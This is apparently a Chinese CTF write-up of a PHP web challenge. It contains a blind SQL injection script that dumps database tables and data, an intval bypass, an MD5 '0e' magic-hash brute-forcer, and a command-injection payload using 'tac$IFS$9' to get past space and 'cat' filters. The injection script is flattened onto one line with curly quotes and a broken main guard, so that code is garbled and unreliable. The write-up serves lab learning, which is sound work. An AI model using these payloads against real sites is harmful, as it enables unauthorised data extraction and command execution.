打开靶机,朴实无华
找线索
左找找右找找,发现robots.txt里有东西
进入/fAke_f1agggg.php
是假的(早就预料到了)
在当前页面继续找线索,我都扫了啥都没发现,但更细致点就会发现,网络里的响应头里有个
有一说一,这个线索藏得够深,有二说二,chrome的控制台里网络区太烂了,一层一层的
进入/fl4g.php
我已经开始笑了
xxxxxxxxxx import timeimport requestsSuccess_message = “Hi"def database_name(): db_name = ’’ for i in range(1, 10): begin = 32 end = 126 mid = (begin + end) // 2 while begin < end: payload = url + “?stunum=(ascii(substr(database(), %d, 1)) > %d)” % (i, mid) res = requests.get(payload) if Success_message in res.text: begin = mid + 1 else: end = mid mid = (begin + end) // 2 if mid == 32: print() break db_name += chr(mid) print(“数据库名: " + db_name) return db_namedef table_name(): name = ’’ for j in range(1, 100): begin = 32 end = 126 mid = (begin + end) // 2 while begin < end: payload = url + ‘?stunum=(ascii(substr((select(group_concat(table_name))from(’ \ ‘information_schema.tables)where(table_schema=database())), %d, 1)) > %d)’ % (j, mid) time.sleep(0.2) res = requests.get(payload) if Success_message in res.text: begin = mid + 1 else: end = mid mid = (begin + end) // 2 if mid == 32: print() break name += chr(mid) print(“表名: " + name) table_list = name.split(”,”) for tab_name in table_list: column_name(tab_name)def column_name(tab_name): name = ’’ for j in range(1, 100): begin = 32 end = 126 mid = (begin + end) // 2 while begin < end: payload = url + ‘?stunum=(ascii(substr((select(group_concat(column_name))from(’ \ ‘information_schema.columns)where(table_name="%s”)and(table_schema=database())), %d, ’ \ ‘1)) > %d)’ % (tab_name, j, mid) time.sleep(0.2) res = requests.get(payload) if Success_message in res.text: begin = mid + 1 else: end = mid mid = (begin + end) // 2 if mid == 32: print() break name += chr(mid) print(("%s表的字段名: " + name) % tab_name) column_list = name.split(",") for col_name in column_list: get_data(tab_name, col_name)def get_data(tab_name, col_name): data = ’’ for i in range(1, 100): begin = 32 end = 126 mid = (begin + end) // 2 while begin < end: payload = url + ‘?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)’ % ( col_name, tab_name, i, mid) time.sleep(0.2) res = requests.get(payload) if Success_message in res.text: begin = mid + 1 else: end = mid mid = (begin + end) // 2 if mid == 32: print() break data += chr(mid) print(("%s表的%s字段数据: " + data) % (tab_name, col_name))if name == ‘main’: url = input(“请输入url:”) database_name() table_name()python
就一点点读呗,不会的函数百度
绕过分为三个部分并且都是GET传值
intval函数绕过
要变量整数值小于2020,又要变量加1大于2021,一看就知道不是正常数。百度intval函数,在菜鸟教程中有下面的示例:
其中有用信息是
这里看出,当科学计数法作为数时输出正常的,作为字符串时输出e前面的数。那这里就可以利用科学计数法绕过。
我们就拿2e4
用吧,传入'2e4'
它会被当2比较,+1后会被PHP强制转换再比较,会比2021大。这样就可以绕过了。
payload:
1?num='2e4'
失败的原因可能是,后台已经把num当字符串处理了,那我们把单引号去掉再传入
payload:
1?num=2e4
第一层绕过成功
MD5绕过
一个字符串MD5加密后,前后一样,php具有弱类型,==
在进行比较的时候,会先将字符串类型转化成相同,再比较。转换的规则为,若该字符串以合法的数值开始,则使用该数值,否则其值为0。因此,根据这一点,可以遍历出一个字符串,使得进行MD5加密前是0e
开头的,MD5加密后也是0e
开头的,这样子,就能保证加密前后的值是相等==
的了
偷的脚本
1#!python2
2import hashlib
3import re
4
5
6def MD5(data):
7 return hashlib.md5(data.encode('utf-8')).hexdigest()
8
9
10def main():
11 a = 100000000
12 while True:
13 data = '0e' + str(a)
14 data_md5 = MD5(data)
15 a = a + 1
16 if re.match('^0e[0-9]{30}', data_md5):
17 print(data)
18 print(data_md5)
19 break
20 if a % 1000000 == 0:
21 print(a)
22
23
24if __name__ == '__main__':
25 main()
跑了一会,出了俩可以用的字符串,当然用短的
payload:
1?num=2e4&md5=0e215962017
这就是有钱人的生活吗?
替换绕过
观察代码可知,不能有空格,有cat会被替换,而且这个变量可以被当作命令执行
于是我直接试了一下get_flag=Cat(/flag)
,果然失败,那我们先看一下目录吧
payload:
1?num=2e4&md5=0e215962017&get_flag=ls
看来要读取那个很长的ffffflllllllaaaaaag
这里注意这个替换函数str_ireplace
,它不区分大小写替换,所以这里不能大小写绕过,下面的图罗列了代替cat的关键词:
经过测试发现more、head、tac、tail、nl、od、sort、uniq、file -f在我win10环境下都可以出flag,但是od二进制比较麻烦,file -f由于空格过滤还要绕过,所以不建议使用
这里我们使用tac,而且这里需要使用$IFS$9
代替空格详情戳这里
payload:
1?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
出flag